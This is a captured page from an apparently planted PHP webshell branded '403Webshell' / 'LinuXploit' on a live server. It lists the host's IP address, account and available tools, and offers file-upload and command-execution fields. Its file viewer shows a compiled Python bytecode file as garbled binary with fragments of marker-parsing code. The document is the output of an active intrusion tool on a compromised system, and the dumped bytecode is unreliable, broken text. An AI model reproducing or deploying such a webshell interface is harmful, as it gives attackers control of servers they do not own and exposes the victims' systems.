403Webshell
Server IP : 216.92.14.13  /  Your IP : 216.73.217.126
Web Server : Apache
System : Linux vps4089.pairvps.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : rmlac2fmr ( 1040637)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/dh-python/dhpython/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/dh-python/dhpython/__pycache__/markers.cpython-310.pyc
o

O�Ib��@sDdZddlZe�dej�Ze�dej�ZGdd�de�Zdd�ZdS)	z�
Handle Environment Markers
https://www.python.org/dev/peps/pep-0508/#environment-markers

TODO: Ideally replace with the packaging library, but the API is currently
private: https://github.com/pypa/packaging/issues/496
�Nz�
    (?P<marker>[a-z_]+)
    \s*
    (?P<op><=?|>=?|[=!~]=|===)
    \s*
    (?P<quote>['"])
    (?P<value>.*)  # Could contain additional markers
    (?P=quote)
    z0
    (?:\s|\))
    (?:and|or)
    (?:\s|\()
    c@seZdZdS)�ComplexEnvironmentMarkerN)�__name__�
__module__�__qualname__�rr�(/usr/share/dh-python/dhpython/markers.pyr0srcCsp|��}|�d�r|�d�r|dd���}t�|�}|r t��t�|�}|s*t��|�d�|�d�|�d�fS)z5Parse a simple marker of <= 1 environment restriction�(�)�����marker�op�value)	�strip�
startswith�endswith�COMPLEX_ENV_MARKER_RE�searchr�SIMPLE_ENV_MARKER_RE�match�group)r�mrrr�parse_environment_marker4s

�r)	�__doc__�re�compile�VERBOSErr�	Exceptionrrrrrr�<module>s�	�

Youez - 2016 - github.com/yon3zu
LinuXploit